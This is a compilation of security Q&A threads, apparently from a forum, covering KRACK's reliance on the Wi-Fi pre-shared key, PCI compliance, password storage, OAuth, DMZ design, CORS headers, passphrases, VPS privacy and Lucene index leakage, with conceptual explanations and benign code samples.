To test the clients, you have to connect to a fake AP but you still need to know the pre-shared key. Of course you know the password, because you created the fake AP. But if you're performing a real attack, and you created a fake AP with the same essid of a real AP, the clients when trying to connect to the fake AP (that act as MITM) won't be able to since the pre-shared key is different. So, since the pre-shared key is a mismatch you will never be able to reinstall the PTK or GTK because you wouldn't get all the frames you need to replay them. Am I correct?

Same thing for the script to test the real AP.
If you know the pre-shared key of the real AP, assuming it supports FT, then you can go ahead and connect to it to do the propers tests regarding packet number reusing. But if you don't know the pre-shared key, if the AP is vulnerable, how are you going to get the all frames of the handshake?

I think with a pre-shared key mismatch you would get only message 1 and 2 of the handshake.

To the main question: It doesn't, to do the channel-based MITM you need to have the PSK, as you said, this in order to be able to get the 3rd message of the 4-way handshake.

To your first and last assumption: Yes you're correct!

As this question answers in the Q&A

If an attacker can do a man-in-the-middle attack, why can't they just decrypt all the data?

  As mentioned in the demonstration, the attacker first obtains a man-in-the-middle (MitM) position between the victim and the real Wi-Fi network (called a channel-based MitM position). However, this MitM position does not enable the attacker to decrypt packets

Also in the paper (PDF) section 3.2  The Key Reinstallation Attack

  A second minor obstacle is that we must obtain a MitM position between the client and AP.


PCI Scanning and authenticated user pages I've just used a security vendor's automated PCI scanning tool to scan my web server.

It only has the ability, out of the box, to scan URLs as an un-authenticated user.  This means it is only scanning my login page and any other URLs it can crawl/guess, and only in one mode (that is, all of the pages have significantly more functionality available when logged in).

Is there any known PCI scanning tool that allows scans as an authenticated user for better coverage?  I can imagine making a restricted login for the tool, and then specifying the login/password or a cookie as part of the scan configuration.

Perhaps I am confusing the purpose of PCI scanning, and it's meant to be a black box test.  It seems if this is the case, the only next possible step in better penetration testing for me is to hire a security vendor to do manual white box testing.

Have you tried looking more into the options that may be available in the tool?  Personally, I tend to favor Acunetix, which does allow the creation of a login script so that it can scan as both an authenticated and non-authenticated user.  The only downside to this is that you are only able to setup a single login script for each individually run scan, whereas, some applications will have multiple seperate authenticated area's.


Outsourcing PCI data: Is this ok? The organization I work for hold PCI-DSS compliance as merchants (we fill in SAQ-D). At the same time, due to document/payment verification processes, we request from our customers pictures of their credit/debit cards - of course with the appropriate digits hidden.

Now we want to outsource this functionality to another company which will only be responsible for the document verification and will send back to us the picture of the card and the data on the card - again the ones that can be viewed according to PCI (ocr recognition):

Expiration/Issuing Date
First six PAN number digits
Last 4 PAN number digits
Cardholder's name

We have signed a DPA with them and agreed on that in case they receive an unmasked card, they will immidiatelly reject it and inform us so we can get in touch with the customer inform accordingly. All this communication will be done over an encrypted communication channel

They are not a payment service provider, they will just provide a mechanism for documents verification (one of these documents are masked credit/debit cards).

So my question is, can we do that according to the PCI?

We are deep into IANAQSA territory here

  So my question is, can we do that according to the PCI?

That might be contrary to PCI DSS §12.8 as incorporated into SAQ D by Part 2f.  (Whew - say that five times fast).

Part 2f is a list of your Third-Party Service Providers, and states:

  Note: Requirement 12.8 applies to all entities in this list.

§12.8 is all about the diligence you have to do around Service Providers, and §12.8.4 states:

  Is a program maintained to monitor service providers' PCI DSS compliance status at least annually?

Now, as you state:

  They are not a payment service provider

They would be likely be out of compliance with §12.8.  Especially where your relationship with them explicitly describes procedures for handling accidental PAN, I don't see how you could not treat this role as one for an approved Service Provider.

Now, perhaps a QSA would find that a permissible exception, because it's dealing with exception cases and the data is intended to be masked.  The SAQ doesn't even have a checkbox for "Yes, I use a third-party service provider, but they fail §12.8," so I don't see how you'd explore this with your Processor if you're going the SAQ route.


AES encrypt secret key with plaintext We need to be able to retrieve password. Hashing is one-way, we can't do that.

So we ended up using AES.

We want to know if the following schema is safe or not. I am only familiar with modulo PK encryption scheme, but I can't figure out the safeness here:

p = encrypt(password, newIV, newSecret)
s = encrypt(newSecret, newIV, password)

We basically encryp the newSecret with user password. So whenever retrieval is needed, user must supply the password and we then decrypt it and pass it to the user.

Is there any undo modulo thing like we would find in RSA-kind encryption/decryption scheme?

Since you only need one account to be able to access the credentials for a second legacy system, I would recommend that you use a chain.  The user password for your system should not be reversible and the encrypted credentials should not be available without the user's password.  You can store the encrypted credentials with a symmetric record key that can be protected by both the user's password for your system and, if necessary, an administrative private key to allow account recovery.  This would probably be the best you can do since it would not allow the user's legacy account to be decrypted without the user's password.

(Basically just treat the legacy credentials as secured data.  There should be no difference.)


App-to-app or service-to-service authentication using federated login I have an application Foo that exposes a web-based portal as well as a REST API service via HTTPS.
When a human user connects to the app Foo to use its web-based portal, the human user is first redirected to an OAuth2-based login page. Once the human user is authenticated, they are redirected back to app Foo and now the human user can access the portal. The actual identity of the human user is maintained in an active directory. The OAuth2 identity provider uses AD to validate the user's identity. All of this sounds okay so far.
Now I have an app Bar which needs to connect to Foo and send REST API requests to it. So the app Bar is the client here. The app Bar's identity (credentials) will once again be maintained in active directory behind the scenes. It will be a user account meant to be used exclusively by app Bar only. Once properly configured and setup, the app Bar should be able to authenticate to app Foo without human intervention. Can this be achieved using a federated authentication mechanism like OAuth2 or SAML?
What I am worried about is that as a human user, whenever I have tried to authenticate to a website that uses OAuth2 or SAML, it redirects me to another identity provider's URL, where I need to enter my credentials. This is not exactly very convenient for automation when an app like Bar needs to authenticate itself to app Foo?
What are the available options here that allow us to implement app-to-app authentication without requiring human intervention, yet be convenient to implement, and also uses federated login?

OAuth2 specifies different flows. For app-to-app authentication, you may consider the client credentials flow, which works without redirection. (The app exchanges its credentials directly for an access token at server 1 and uses that token to access the resources at server 2).
The Microsoft Docs provide examples for using the client credentials flow with (Azure) Active Directory.


Is Windows 10 [Password protection on wakeup] set to 'Required' relevant when machine is asleep? I like to just hit the spacebar and have the machine ready without the extra fuss (many times a day.)

No one untrusted has physical access to the machine, but it wakes up at ~3am and does updates and maintenance and such (I assume Windows and various apps initiate this.)  The machine is connected to the Internet 24/7.

So my question is: Does requiring Ctrl-Alt-Del + Password 'significantly' help protect it from attackers over the Internet when it's sleeping?  Because, I imagine that attacks of that nature, hard as they may be at this point, by definition of complexity have access at a level such that this setting is irrelevant.

I have a router/firewall, boot UEFI, always use an account without Administrative rights day-to-day, use Malwarebytes Pro on top of Windows Defender, and everything I can is set to “auto-update” – if any of that alters the specific question.

It doesn't protect you from attacks over the internet (that's also not its intended purpose), unless you are using a VNC type of remote desktop solution. Ctrl-alt-del is more a protection from opportunists passing by your computer (physically).

Remote connectivity options like RDP always require valid credentials before a connection is established, even if the computer is unlocked on your side.


Should I enable domain authentication in my DMZ Traditionally at my place of work we have an internal subnet that is completely protected behind our firewall. No ports are allowed to be opened to direct connections from the public network. We also run a DMZ where we only allow specific ports to be opened as they are needed. In addition, we don't allow connections to the internal network to be open from the DMZ, but the internal network can open connections to the DMZ. I would hazard that this is a pretty traditional DMZ-stlye configuration.

We also host our domain controllers in our internal network. Up to this point, the implication of this has been that we need to manage DMZ password separately since there is no AD authentication. This hasn't been a big deal since we have only had a handful of DMZ servers.

Now we are about to launch a product that will require significantly more DMZ servers, and during the last phase of our testing we have already had issues with password management on the DMZ systems. The solution would seem to be to punch the hole from the DMZ to the internal network to allow for DMZ servers to be joined to the domain.

For me this raises 2 questions:

Is this even a good idea?
Assuming that it is not a terrible idea, is it better to allow specific routes for each server to get back to the domain controllers, to allow the entire subnet to get back, or to deploy a DC on the DMZ and only allow that server to get back through.

I'm hoping that someone out there has some thoughts.

1) Clearly not a good idea. That would mean that if a DMZ machine that is joined to the domain is compromised, then your corporate AD would be in danger, which isn't acceptable

The only option is to deploy a separate Active Directory forest for your DMZ, potentially with different zones; for example, the main writable domain controllers in an isolated network segment and read only domain controllers in the other segments, but in any case without a link to your corporate AD.

There's indeed a management/administrative overhead, but security wise you don't have many other options.


Is PHP FILTER_VALIDATE_IP secure enough to $_GET an IP address? I need to pass an IP to a PHP page, and it would be convenient to be able to use GET, but I know that's sort of asking for trouble, so I want to triple-check that I'm handling it securely.

if(!filter_var($_GET["ip"], FILTER_VALIDATE_IP)) {
    echo "Invalid IP.";
    die();
}

$ip = (string)$_GET["ip"];

Is this secure enough to be able to put $ip in a database or display it on a page? Or are there any vulnerabilities with FILTER_VALIDATE_IP (or perhaps the way the code is structured) that I should worry about?

There have been issues with filter_var when used with FILTER_VALIDATE_EMAIL in the past, however I cannot find any vulnerabilities with FILTER_VALIDATE_IP.

Even though an IP address does not contain characters that have special meaning within HTML (e.g. <) or have characters that can break out of a database query (e.g. '), I would treat the value like any other string value and use parameterised queries to store this within a DB, or HTML encode when displaying to the page.

This would guard against any future changes such as if it is later changed to a host name from user input - the value would still be safe for both operations.


Password and username used to connect to database in source code In PHP scripts that communicate with the database I have the username and password to the database in plain text i.e. mysqli_connect('localhost:3306', 'root', 'PASSWORD!'). From OWASP

  Do not include any credentials in your source code, including (but not
  limited to) usernames, passwords...

How can this be protected? Also as right now each script has the same code for connecting to the database so I'm thinking of making one script (base.php) and including it in everypage that queries the database. Is this ok or is it a security risk? If my description was unclear I'm basically thinking of copying what Cameron Laird does with base in this question.

The next paragraph is key:

  Such constants belong in properly protected properties or configuration files.

You should define the username/password credentials as variables in a separate file, something like db_config.php. This config file should then be included by whatever PHP source code files need to use them for connecting to the DB.

This config file should have permissions set so that the general public cannot read them, and should be excluded from source code version control so they do not get checked in.

The basic goal is for the sensitive information to be contained in just one place that is not a part of the main source code.

This does not mean that the credentials won't be in a file alongside the source code, and it does not mean that the config file cannot be a PHP file.


Does returning Access-Control-Allow-Origin: * weaken the security of JSON GET responses? The W3C CORS recommendation states:

  Certain types of resources should not attempt to specify
  particular authorized origins, but instead either deny or allow
  all origins.

  ...

  3. A GET response whose entity body happens to parse as
     ECMAScript can return an Access-Control-Allow-Origin header
     whose value is "*" provided there are no sensitive comments
     as it can be accessed cross-origin using an HTML script
     element. If needed, such resources can implement access
     control and CSRF protections as described above.

Does JSON parse as ECMAScript?

Can JSON produce side effects when executed via an HTML script element?

Can cross-origin web content gain read access to JSON GET responses from CSRF requests forged via an HTML script element?

What does "sensitive comments" mean in this context?

Does this paragraph apply to GET requests that do not accept cookies or HTTP Authentication for authorization? If a request were otherwise authorized only by OAuth for example, its response would not be accessible to a browser via an HTML script element. But by making its response include Access-Control-Allow-Origin: * for all authorized requests, the server would lose the ability to specify the origins to which the browser would grant access.

Wouldn't including Access-Control-Allow-Origin: * weaken the security of responses to requests authorized by cookies or HTTP Authentication? If a request were authorized by cookie, for example, it would be executable by the browser, but the source code in the response body would not be accessible to cross-origin web content. By making its response include Access-Control-Allow-Origin: *, the server would communicate to the browser that web content from all origins should have access to read the response in addition to executing it.

This much you understand already: The main idea here is that script elements (<script src="http://example.com/myscript.js">) are not subject to same-origin restrictions. Therefore, a site can load any script URL and execute that script (as long as the script does not require credentials or the browser has necessary credentials to access the script). However, the browser cannot read a script loaded in a <script> element.

You might rephrase the W3C's recommendation as:

  If all the information in a resource can be obtained by running the resource as a script, then you may freely add Access-Control-Allow-Origin: *.

Therefore, raw JSON does not meet this requirement. If you execute the script:

(["foo", 5, 7])

then no information is added to the execution environment. (A few years ago, it could have, by redefining the Array constructor, but modern browsers have eliminated this vulnerability.)

However, the script

window.secrets = ["foo", 5, 7];

does make an observable change to the execution environment. You might as well allow the any page to fetch the contents of the resource through Ajax, because it contains no information that the page couldn't learn by running the script in a <script> element.

The phrase "sensitive comments" refers to actual JavaScript code comments (/* e.g., like this */). Comments are not readable from a <script> execution, but they would be readable when accessing the script content via Ajax. For example, the script:

// by the way, the fourth secret is "bar"
window.secrets = ["foo", 5, 7]

leaks the same information as the previous example when executed in a <script> tag, since the comment is only visible when viewing the actual script text.

If the resource requires OAuth credentials and does not accept cookie credentials, section 4 indicates:

  requests ought to set the omit credentials flag and resources ought to perform authorization using security tokens explicitly provided in the content of the request

Cross-origin requests via HTML script elements would never include OAuth credentials, and those requests would fail authorization regardless of the value of the response's Access-Control-Allow-Origin header.

If the resource requires credentials and preflight, the preflight response it must also be served with Access-Control-Allow-Credentials: true. If the server doesn't send that header, then a site cannot send a cross-domain credentialed request to read the script content. Therefore, Access-Control-Allow-Origin: * does not weaken the security of the credential-protected resource, because credentials for the target domain will not be sent over Ajax unless the server also sets Access-Control-Allow-Credentials: true.

If the resource requires credentials but not preflight, the credentials would be sent in the request before the server has a chance to include Access-Control-Allow-Credentials: true in the response. The end result is the same -- the browser will not share the response with the cross-origin web content making the request -- but for different reasons.

Section 6.1 says:

  The string "*" cannot be used for a resource that supports credentials.

And the resource sharing check would fall through step 2 of section 7.2 and fail at step 3:

  If the Access-Control-Allow-Origin header value is the "*" character and the omit credentials flag is set, return pass and terminate this algorithm.
  If the value of Access-Control-Allow-Origin is not a case-sensitive match for the value of the Origin header as defined by its specification, return fail and terminate this algorithm.


why are passphrases not the standard I have seen many questions concerning passwords: how to measure password strength, why don't we pick passwords for the users and obviously the best one: passwords vs phrases and the one i would like to focus on a bit more.

Something I have never understood is, if you create a pass phrase, what ever it may be. lets say: ILoveAskingUselessQuestions (or even separate by spaces) or a password: 1L@UQ, now I get that that the password is shorter so easier to brute force. If it wasn't for brute force the password would be harder to obtain.

But we do live in a world with brute force therefor (with increasing computer speed) the shorter something is the more insecure it becomes.

I would argue a pass phrase is always the best thing to use. obviously with pass phrases you would get a similar trend as with passwords some phrases would show up more than others. Now obviously there are ways to prevent this and ways to check for this so it should not be a real issue.

If people were to use something personal in their pass phrases no attacker would ever be able to gain passwords (if password hashing schemes are done properly). You could argue attackers would make a list of words and try every combination but such a list would be language specific (an English attacker would never get a dutch password that way).

So my question is, why don't we make it easier for users and demand pass phrases, they are allowed to use base64 symbols and the length should be at least... 20? (that number could probably be better if someone with knowledge (not me xD) made some calculations).

and to help the users in creating good pass phrases (or explaining what it is) someone like Bruce Schneier (or anyone you'd like, why not make it a peer reviewed effort) makes a good simple to read post about it and we all link to it during account/password creation.

everything fixed, or is it not that simple?

If by "we" you mean the small subset of developers reading security.stackexchange.com who create the authentication systems for a small subset of applications, then there's no reason to limit what symbols users are allowed to use or the length of passwords they're allowed to input. Well, perhaps 1000 characters would be a good password limit in order to prevent denial of service attacks. But you're right that limiting password length to 8 characters, only containing a subset of possible characters, etc. is bad practice. It's better to give users the flexibility to use whatever authentication method(s) they choose, and to encourage users to choose good ones like using longer passwords instead of shorter ones. (Although providing users a link to a book or a long blurb on password techniques during account creation will probably get used as often as terms and conditions get read. Password strength meters are generally inaccurate, but at least they're something.) And in addition to making a system that allows users to have good passwords, we should also implement other security controls like limiting logon attempts, storing passwords securely, protecting against SQL injection, changing passwords of default admin accounts, and so on.

The problem is that we're not every developer. Lots of developers see computer security as an obstacle they need to overcome or a checkbox they need to check before publishing their system. Many times non-technical people in management positions will impose bad requirements on developers, like a bank executive demanding that users be able to use touch tone phones to input their web password so people can log in through some antiquated phone service system the bank developed a few decades ago. So you'll never see every system have good password practices because you can never make "knowledge of good password practices" a requirement for system development.

As for passphrases specifically, I don't think anyone should use memorized passwords on any system they don't control if they can help it. In 2007 the average user had 25 accounts, and I suspect that number has increased significantly. It's humanly impossible to memorize that many passphrases if you require them all to be truly unique. The biggest risk with passwords is password reuse: if you get all your users to make 40 character passphrases and store it with PBKDF2, you're still going to have identity theft on your site when your users use the same credentials on a site that's storing passwords in plaintext and that site gets hacked. So rather than pushing passphrases, I think we should be pushing password management software. Passphrases are great (Diceware is better) for locking password managers, and then you can use truly random passwords for meeting whatever requirements are imposed by the developers of the systems you're using.


Should the Keygen element be used to create a certificate for mutual auth TLS? What alternatives are there? I'm interested in using mutual auth TLS to improve the security of my javascript based webservices .  I've looked at the Keygen element and given all its issues, not sure if this can even be used for this purpose.

If I'm right in thinking that mutual auth TLS is one of the more secure forms of TLS (to put it simply), is it reasonable or a good idea to use the cryptographic material sent by Keygen for this purpose?

Update:

My threat model is to protect from a Diginotar-style attack.  The solution would look like this:

Enrollment

User logs on to website or creates an account.
If the machine has never been seen before (new account) instead of adding a persistent cookie, the user is prompted to create a client side certificate.
The client side cert is signed by the server and imported into the web browser for the purpose of client authentication
The server registers details of the client certificate (thumbprint / hash / public key) and will use it later for session verification.

Authentication

The user logs on to the website (n+1 visit)
The user is prompted for a client certificate
The server verifies the client cert.
Mutual TLS is established.
The server verifies the authenticated call with a known client certificate. If the calling certificate is blank or from another user, then a MITM may be being performed and access is denied.

I think that there are many disadvantages in using the keygen element, as it is already enumerated in your post. If you have a webservice that should be easily accessible and compatible with a lot clients, it is quite hard to implement client-side authentication using keygen, a solution that is quite new and not very mature.

The best solution would be to provide cryptographic tokens to your clients, with preloaded certificates, signed by your CA. Of course, this adds a lot of complexity, because you have to manage the generation and distribution of the client certificates, which may be very hard to do if you have many clients and no infrastructure for a CA. The advantage of this solution would be a very strong authentication mechanism for your clients.

If you are just trying to prevent MITM attacks, using SSL and a good user/password access mechanism may be enough in most cases.

It depends a lot on what are the resources you have, what your are trying to protect and against whom and who are the users of your application. Answering this questions would be the first step in the process of building a secure systems.

Update:

In regards to the threat model you have described, I do no think that your model will offer protection against compromised CA. Here is an example:

A CA is compromised and a certificate is issued for your domain
The DNS of the client is compromised so that it responds with the IP of the attacker, when queried for your domain
The client tries to connect, it establishes a connection with the rogue server, which in turn connects to your server
The rogue server acts as a client that connects from a new device and a new client certificate is generated.
Even if the real client sends his existing certificate, the rogue server would ignore it.

The attack described above assumes that a client can have multiple certificates (one for each device he is connecting from). If you do not want to implement this behavior, then it would be quite hard for a regular client to copy the certificate to every device he is using and of course, a bad user experience .

All in all, protecting against compromised CAs is tough business, and I think that as long as new technologies as DNSEC are not implemented at a large scale, there is not much one can do.

On the other side, the hacking of a well known CA is not something that happens every day. Just be sure that you do not buy a certificate from a noname CA and you should be secure enough for the moment.


VPS Privacy: OpenVZ vs KVM vs Xen Considering OpenVZ, KVM and Xen:

Which VM technology is the most difficult for the host's administrators to access given an encrypted root partition?

Can I have a reasonable expectation that rogue administrators cannot become root inside my VPS by running a simple command on the host machine?

Which type of VM is most likely to be secure in this scenario?

P.S.: I realise that a VM is never going to offer absolute security and even a dedicated server could theoretically have data siphoned off via RAM.

I'm asking to determine if a VPS is secure enough to handle personal emails capable of resetting passwords or if a dedicated server is necessary and justified considering the increased costs.

With KVM and Xen, the rogue administrator can take a snapshot of your live machine, then explore at his leisure what is in the RAM of your VM. In particular, he will easily obtain the encryption keys for the encrypted filesystem, and then proceed to read all your files. By the very nature of the snapshot system, you will not notice it.

With OpenVZ, you don't have a virtual machine but a cheap emulation thereof, with a shared kernel (but that kernel pretends that each user has a whole machine to himself). The host admin has full control over that kernel, and thus can alter it (dynamically) to inspect the RAM of any running process. In any case, if there was disk encryption, it would be done by that kernel.

Either way, it can be done quite easily and silently.

  I'm asking to determine if a VPS is secure enough to handle personal emails capable of resetting passwords or if a dedicated server is necessary and justified considering the increased costs.

This entirely depends on what your passwords are protecting. An evil sysadmin will be interested in resetting your passwords only if he has something to gain which will offset the risks (as shown above, reading your emails will be quite risk-free for the attacker, but actually resetting your passwords should attract your attention and may result in trouble for the attacker if he was not careful enough).

Why don't you use Gmail like everybody else ? Google already owns the Internet, after all.


Local IndexedDB in Browser - is it really a security risk? We have a web application that stores cached information in browser (both is firefox and chrome).
When we subjected it to Penetration Testing, a finding was filed saying that "Senstive Data such as Database Name, Storage and Version were found stored in the local IndexedDB".
Although clicking each DB do not reveal any information inside it.

My question is - is this really an issue? as far as I know, the Database Name, Storage and Version are like autogenerated information and not really sensitive information from the application.
Can anyone help us and shed some light on this?

When we subjected it to Penetration Testing, a finding was filed saying that "Senstive Data such as Database Name, Storage and Version were found stored in the local IndexedDB".

The people who performed your pen test should be providing you with some evidence, screenshot, full/redacted values they obtained. It is possible they just ran an automated tool that say some form of local storage and they just complained about that in general. I would go back and ask them to clarify exactly what they found and why its a problem.
As client-side storage, I would assume the data present will depend on the client and what they were doing in the app. The DB may be empty when you visit, but maybe the account they used for their attack had access to other data.
If you have third party JavaScript which is allowed to read from IndexedDB and you store an API key or something like that there then the third party script could obtain it, in contrast to using a cookie with the httponly attribute.


If I want a more secure and up-to-date Linux, in what cases should I avoid the official repositories? The problem is this: Linux repositories (depending on the distribution) provide software and updates, but usually that software is not the latest official version, but it's an old version or branch that has (hopefully) been patched to fix all (or maybe not all?) the vulnerabilities found so far, and I'm not sure who exactly is doing this and what delay there can be between the disclosure of a vulnerability and the availability of an update in the distribution repositories. I know this is due to a trade-off between security and stability, but I guess sometimes you might feel like having a bit more security rather than stability on a desktop installation.

So that made me wonder: should I install and update Tor using the official repository of my distribution, or should I use another method, and what method? (Like for example using the Tor official repository, which by the way warns you not to use the Ubuntu repos because their Tor package might not be up-to-date, as I suspected, and as I suspect of many other packages, hence this question). And then I asked myself the same question for Virtualbox, VLC, LibreOffice, whatever. By the way, if an application doesn't have an official repository though, it's going to be a pain to check for updates. And I know PPAs shouldn't be considered secure in general.

And that leads to the more general question: if I want a more secure and up-to-date distribution, should I sometimes consider using different methods for installations and updates in place of the official repositories of my distribution? For what kind of packages and applications would you suggest this? This question is especially about desktop installations, but if you want you can also expand your answer including servers, it might be interesting by comparison.

The Tor Project officially recommends you do not use a PPA or your distro's package manager, and instead install directly from their website. This is not usually the case and typically, good package maintainers will keep software up to date. Debian for example releases new security updates for packages promptly and provides public security advisories for vulnerable packages.

It is important to keep track of your distro's public advisories so you can be made aware of the state of your installation and all the relevant packages you have installed. The recent wget vulnerability is reported by Debian as a DSA (Debian Security Advisory), for example.


Wireguard: Is it suitable for road-warrior scenarios? Is Wireguard suitable for road-warrior scenarios where the IP address of the client keeps changing? If anyone tried it out already, I also would like to know if it's really easier to setup than, say, OpenVPN.

Yes, WireGuard does an extremely good job at preserving your connections even if your local IP keeps changing. Wireguard connections are also super fast to establish, such that if you suspend your laptop and then resume later, your wireguard VPN connection will be immediately available without having to do anything on your part.

Whether it is easier to set up is more difficult to judge, as "easier" is a very relative term. GUI tools for wireguard are still missing from many distros, so the most straightforward way to set up your wireguard VPN is using command-line. Mullvad provides a few handy guides (and they also are one of the very few commercial VPN providers offering wireguard support):

https://mullvad.net/en/guides/category/wireguard/


Resource authorization on multiple services I have a client facing micro-service where user logs-in and initiate actions against their resources. After authorization of the resource against the logged in user, the client facing service forwards the request ( with parameters Logged in user Id, Resource Id and requested action) to backend micro-service. Before performing the requested action, the backend micro-service again authorizes the request. Resource ownership data is replicated on both services DB.

Is that an anti pattern to double check resource ownership. If yes then should I remove authorization code from backend service?

The more common pattern will be to use two separate authentications mechanisms:

auth for public-facing API (client to 1st microservice)
auth for internal API between 1st and 2nd microservices.

This way you can protect internal BE service from the external calls. The visibility of the internal API credentials should be a lot more restricted compared to external API credentials.

However, if your 2nd microservice in some scenarios is public-facing too, then double-check is unavoidable and what you are doing makes sense.


IP whitelisting as two factor authentication method for server access under PCI DSS In the answer to my question: Two factor authentication for web application under PCI DSS gowenfawr stated:

I have seen other methods used for 2FA than those you mention; IP whitelisting and adaptive authentication specifically. If you can convince your auditor it qualifies, you're all set.

I am wondering if we can use IP whitelisting for access to our servers as the second method of authentication. Requirement 8.6 of PCI DSS states:

8.6 Where other authentication mechanisms are used (for example, physical or logical security tokens, smart cards, certificates, etc.),
use of these mechanisms must be assigned as follows:

Authentication mechanisms must be assigned to an individual account
and not shared among multiple accounts.

Would IP whitelisting be allowed as the 2FA method in this situation as sysadmin users may share IPs when connecting to our CDE and other in scope servers (i.e. the public IP address of our office)?

IP whitelisting might be accepted by a QSA this year and it may not be accepted by the same QSA or another QSA next year. If you use certificate, token or OTP 2FA, it'll pretty much be accepted by any QSA anytime.

It may be worth having a chat with your QSA about scope, segmentation, jump servers and remote access and agreeing exactly when 2FA is required. Depending on your setup, you might not need 2FA from your office to a jump server for managing the CDE if the office is segmented, not in scope but also does not constitute remote access.


Why do security experts like Snowden use email services like Lavabit and Hushmail rather than self-hosted email? Why would anyone like Edward Snowden rely on 3rd party services like Lavabit or Hushmail to host his email?

I mean it's very easy to set up a self-hosted email server. What you need:

Rent VPS (even better: home server) & Domain (May take up to 2 days, who cares..)
Set up Firewall (20 min)
Secure SSH (10 min)
Install and set up Postfix & Dovecot (1 hour)
DKIM, SPF, DMARC, DNSSEC, DANE & co if you want. (1 hour - 2 hours)
Secure everything again and test (30 minutes - 2 hours)

Isn't such a setup "more secure" than relying on a 3rd party email service?
Why do so many security experts (i.e. cryptologists & co.) not host their own email?

Rent VPS (even better: home server) & Domain (May take up to 2 days, who cares..)

How many ISPs do not provide law enforcement access to their sites and to the systems they provide for their customers?

And with a home server: lots of sites explicitly deny access to their mail server from a "home" IP address (these are known address blocks), in order to fight spam. And even if you manage this: are you home all day or are you sure to detect any kind of break-in? Please note that you are not up against the average burglar.

  Secure everything again and test (30 minutes - 2 hours)

What you've described might help to protect your privacy against Google etc (at least the emails). Against the NSA it is probably not sufficient. If they really want to own you they can send clever phishing mails with malware, use malvertising to attack you, simply break into your home, and much more.

  Why do so many security experts (i.e. cryptologists & co.) not host their own email?

Security is a very wide field and I'm sure lots of crypto experts probably have no idea of how to set up and properly secure a mail server. Also lots of mail administrators have no idea of deeper cryptography. They are all experts in their own field and they are not able to know everything. This means they either learn to be expert in another field and have less time for their own field, or they have to find a way to outsource such tasks to somebody they trust.

  DKIM, SPF, DMARC, DNSSEC, DANE & co if you want. (1 hour - 2 hours)

These are definitely not easy. You have to find first somebody who lets you do DNSSec with your own domain. Most ISPs or even dedicated DNS providers don't. And to have DKIM, SPF, or DANE you either need to use your own DNS server with all the problems (need primary and secondary for availability etc) or have again to find a provider which lets you set all these records up. These short times you give are definitely not realistic for somebody who is doing this for the first time.


Java class type parameter vulnerability In a Java programming book there is a section that details the JVM and memory addresses and location as it pertains to parameters of a class type. As you can see from the console output the initial object is overwritten in memory (potentially unintentionally to the API author). It was explained to me that this can be an unintended software security vulnerability and would be something detected during a manual code review.

Can someone explain in what fashion this vulnerability would be exploited? Would it be in using someone else's API that contains this vulnerability or would it be in exploiting an actual application containing this? Are there any examples (in the news perhaps) of this being done?

Here is how it functions, according to the text:

MainActivity.class:

public class MainActivity {

public static void main(String[] args) {
        ToyClass anObject = new ToyClass("Mr. Cellophane", 0);
        System.out.println(anObject);
        System.out.println("Now we call changer with anObject as an argument");
        ToyClass.changer(anObject);
        System.out.println(anObject);
    }
}

ToyClass

public class ToyClass {
    private String name;
    private int number;

    public ToyClass(String initialName, int initialNumber) {
        name = initialName;
        number = initialNumber;
    }

    public ToyClass() {
        name = "No name yet.";
        number = 0;
    }
    public void set(String newName, int newNumber) {
        name = newName;
        number = newNumber;
    }
    public String toString() {
        return (name +" " + number);
    }
    public static void changer(ToyClass aParameter) {
        aParameter.name = "Hot Shot";
        aParameter.number = 42;
    }
    public boolean equals(ToyClass otherObject) {
        return ((name.equals(otherObject.name)&& (number == otherObject.number) ));
    }
}

Console Output:

Mr. Cellophane 0
Now we call changer with anObject as an argument
Hot Shot 42

Edit: To explain the background a bit more. This example shows how in the JVM memory system two objects are at a different address while the stored parameter is in the same memory location, and is overwritten by the second method. This is the basis of the "vulnerability".

What this example shows is that class instances in Java are mutable: the contents of an instance can change during the lifetime of the instance. This can be surprising for people who have done too much Haskell but is otherwise a quite basic characteristic of Java, which is shared by many programming languages, including C, C++, Javascript, C#, Forth, Pascal...

Immutable instances are convenient for programming, in particular when several developers must collaborate. In Java, the String class is the canonical example of immutable instances: each String instance represents a given string which cannot be changed(*). When you want to modify a string, you call a method such as substring() which does not really modify the string; instead, it creates and return a new String instance, leaving the original string untouched. When you have immutable instances, you can keep them and share them with less precautions.

For instance, suppose that you have a class which represents an authenticated user:

public class AuthenticatedUser {

    private String name;

    public String getName()
    {
        return name;
    }
}

Such an instance keeps the name of the authenticated user in an internal field. The getName() method returns that name -- it can return the same instance that it keeps internally, because String instances are immutable: the caller will not be able to modify it anyway. So no need to build a copy, the public getName() can give the real string right away.

Mutable instances, by contrast, require more care and, often, a lot of copying. Failing to do that can result in subtle bugs, and security vulnerabilities are nothing else then bugs which have come to the attention of an ill-intentioned individual.

Java is a language which has some useful features for making immutable objects:
 - Its strong types forbid operations which do not follow the type systems (as opposed to, say, C, where everything is just a bunch of bytes and can be accessed as such).
 - Methods and fields can be tagged with a visibility such as the private above.
 - Java includes a garbage collector which is the necessary complement for sharing immutable instances across method calls (without automatic memory management, such sharing must include rules for who is responsible for releasing memory, and this rarely works well).

So the point your are describing is not a "Java vulnerability". Rather, it is a common source of bugs (some of which being vulnerabilities) which can be avoided thanks to the tools that Java provides. It would be more appropriate to call it a "C vulnerability, that you need not live with if you develop in Java".

(*) That's not entirely true: string instances can be modified through reflection -- albeit not reliably and in a standard way. Reflective access to private fields is a special permission which unsigned Java applet do not have, so do not worry about this.


Is a Lucene search index effectively a backdoor for field-level encryption? To protect personally identifiable information (PII) in a SQL database, we have implemented field-level encryption.  However, we need to allow fulltext search against some of those data.

One idea that I was considering was creating a Lucene search index of the unencrypted values, but ensuring that all of the fields containing PII are indexed but unstored.

The process would work like this:

The user submits e.g., a partial national ID number in a search form in the application.
The application submits the query to Lucene.
Lucene returns a collection of documents.  The documents do not contain any PII; rather each document contains the PK value of the corresponding record in the SQL database.
The application retrieves the corresponding records from the database and decrypts the values to display to the user.

However, this leaves open the question, if someone were to gain read access to Lucene's index files, could they reconstruct the unencrypted values?

According to an article from 2013, the answer to this question appears to be, "Yes, unless you don't mind your search index being basically useless.":

Terms are stored in our classic inverted list, for each term there is a list of documents and, optionally, the position within that document. It's quite possible, though tedious, to reconstruct a document from the list of terms in the index. They may not be easily readable by a human because the terms have been through the entire analysis chain; think of stemming, synonym substitution, any of the transformations, and more, listed here. While these can be hard to glance at and read, the document so reconstructed should be considered complete; sensitive information is available.
[...]
Naturally ... the question arises "can't we encrypt [the index files]"? Sure, we can. It's just that doing so leads to some surprising results, often making the resulting index next to useless. Here's why.
